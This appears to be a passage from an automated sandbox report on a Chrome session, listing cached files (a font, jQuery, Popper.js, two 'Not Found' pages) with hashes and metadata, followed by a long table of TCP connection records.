Preview:	wOF2..............2....].............................`.....(._..f..6.$..H. ..\..+.[3......E...EQ..1.?$h........+.m.X..q..N.VVNf+V...xXF..s1K..'.Pv_.wV.!.hh$1.y^....^...rVre.nAd...Vr)w.Z".....12a.Tj.... .(\0h..P.......p...x....?.E.of....ED........U...=..R.B...:c..5.k2....}.....L......:..._.#K...j....C..!w%8....gYD.]....h.Ul.....Z."M.nh:.~.....2.`..f...8P.@!{BU..3.o&.f.t.{...O6..-..~...".........{....u......Pq./..S.X.V.......1fz...ef`.#dq>.E...o.u[....{..emy./.....KD.........@0. \.S....j'.Y<T.'.0.Y..f...@.Lm.A..L...^...D.!...98..q....0............+vT....C8.o...Q....ne......L.a1...wM...r...zv....T?\#..R`o@....TDJ5...M.;/..x.t._..G.f....PY.i)I....{..........._._....)../5.M.(Y..uI..Inqov..wu..e.Nl...\R..\zL..5>.X$R..e.m....A......(d"c.QK........=...?pw..._1?..qk....++..-.)$a..X.e.l....N......jt.~5.W^.M+6..aT....a..IZ.n..i7..?..I7....^..ni<.;.?.....[`$.........{.l..........UD19.0.Vc..V......F.....%..V..l..b.5[i./.w(..G..`."./..._R.B....*5.....O

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	dropped
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.861467880199449
Encrypted:	false
SSDEEP:	3:ObynQA2d9Sbh2SrUdAn:ObPH/yh1AdAn
MD5:	33739F9789A79B4C8AA035616E5B0511
SHA1:	9C4D0E7A88C92C96031A38A6580A4677C69DB1C8
SHA-256:	625FDCE0B7C9F1EB6D1753B14BD43DE4F36757DE55CD827AA660DB020FF52B58
SHA-512:	8324AD54510172EE07921EC08ED43088C18743BB944790168A988D468281DE4CA4B620BDAA14E0FB8DFD13F13978DD623E0539459909C5A3742E10D5B4206AFC
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/eye-close.png
Preview:	Not Found - Request ID: 01J8XHTCEZCFBDAWS7N1VTN00Y

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.971663380285987
Encrypted:	false
SSDEEP:	3:ObynQA2d95dcs0:ObPH/a
MD5:	D1F9C08FF0759A4A2ED08673C0BF2C33
SHA1:	D4076DF5D3396C6C4128A81B1A3CD7853B93B245
SHA-256:	1A4EC065A13A7B979F9BD73358FFB747954609C33644C0C4B65E2531653AF122
SHA-512:	D9A4912243CBAFA43C73EAEECFE0B9D4F2FCCE9041AC0DA25239D47B1BEDA938766301196224232B9FAB13F9BF18C9948C49A68DF387232FF49FA8A268056A21
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/full.png
Preview:	Not Found - Request ID: 01J8XHTCF9JPQGC6K95RB6ZV2Q

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 02:10:08.612184048 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:08.612186909 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:08.705909014 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:18.100394964 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:18.100534916 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:18.106607914 CEST	80	49709	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:18.106744051 CEST	80	49710	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:18.106817961 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:18.106817961 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:18.107000113 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:18.113781929 CEST	80	49710	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:18.216516972 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:18.216520071 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:18.316792965 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:18.571007013 CEST	80	49710	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:18.592916965 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:18.592982054 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:18.593059063 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:18.593256950 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:18.593274117 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:18.615053892 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.054408073 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.054790020 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.054855108 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.055907965 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.055998087 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.059590101 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.059669018 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.068218946 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.068243980 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.109697104 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.244194984 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244234085 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244261980 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244291067 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244307041 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.244318008 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244333029 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244359970 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.244396925 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.244419098 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244457006 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244488001 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244505882 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.244522095 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.244570017 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.244664907 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.292529106 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.292553902 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.330346107 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.330387115 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.330423117 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.330446959 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.330477953 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.330497980 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.330532074 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.330554962 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.331192017 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.331579924 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.331645012 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.331660032 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.331821918 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.331846952 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.331870079 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.331883907 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.331918001 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.331933022 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.331948042 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.331995964 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.332654953 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.332962036 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.332988024 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.333019018 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.333034992 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.333085060 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.333425045 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.333470106 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.333517075 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.333529949 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.335309029 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.335376024 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.335407019 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.347954035 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.347995043 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.348053932 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.348684072 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.348752022 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.348824978 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.349071026 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.349164009 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.349225998 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.350392103 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.350409031 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.351425886 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.351457119 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.351768970 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.351804972 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.382436037 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.382477999 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.417257071 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.417293072 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.417318106 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.417339087 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.417341948 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.417371988 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.417418957 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.417438984 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.417443991 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.417458057 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.417500973 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.418220043 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.418230057 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.418250084 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.418271065 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.418287039 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.418302059 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.418333054 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.418375969 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.418421030 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.420165062 CEST	49711	443	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:19.420192957 CEST	443	49711	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:19.436594963 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:19.436642885 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:19.436727047 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:19.437012911 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:19.437051058 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:19.437107086 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:19.437268972 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:19.437287092 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:19.437453032 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:19.437464952 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:19.810643911 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.811634064 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.814539909 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.815006971 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.815058947 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.815455914 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.815505981 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.815936089 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.815948963 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.815964937 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.816026926 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.816418886 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.816479921 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.816834927 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.816895962 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.821405888 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.821470976 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.827182055 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.827264071 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.828486919 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.828557968 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.829510927 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.829536915 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.830144882 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.830163956 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.830353022 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.830365896 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.870949984 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.870965958 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.870981932 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.924622059 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.924673080 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.924694061 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.924716949 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.924752951 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.924828053 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.924866915 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.925192118 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925211906 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925236940 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.925251007 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925297976 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.925343037 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925498962 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925551891 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925573111 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925595999 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925601959 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.925632954 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925659895 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.925975084 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.925997019 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.926018953 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.926024914 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.926055908 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.932017088 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.933216095 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.933281898 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.933332920 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.933401108 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.933423042 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.933444023 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.933444977 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.933459044 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.933542967 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.941018105 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.941076040 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.941095114 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:19.945702076 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.945740938 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.945768118 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.945795059 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.945796967 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.945804119 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.945837975 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.945851088 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.945858002 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.945884943 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.946388960 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.946410894 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.946434975 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.946439028 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.946486950 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.950432062 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.950472116 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.950509071 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:19.950514078 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:19.973567963 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:19.973664045 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:19.981187105 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.981194019 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:19.995767117 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:20.012393951 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012465000 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012491941 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012507915 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.012516022 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012526989 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012593985 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.012653112 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012665033 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012681007 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012690067 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012710094 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.012721062 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012758017 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012789965 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012792110 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.012792110 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.012840986 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.012846947 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012850046 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.012857914 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.012911081 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.013520956 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.013580084 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.013627052 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.013645887 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.013967037 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.014008999 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.014022112 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.020351887 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.020385981 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.020401955 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.020417929 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.020486116 CEST	49716	443	192.168.2.5	151.101.2.137
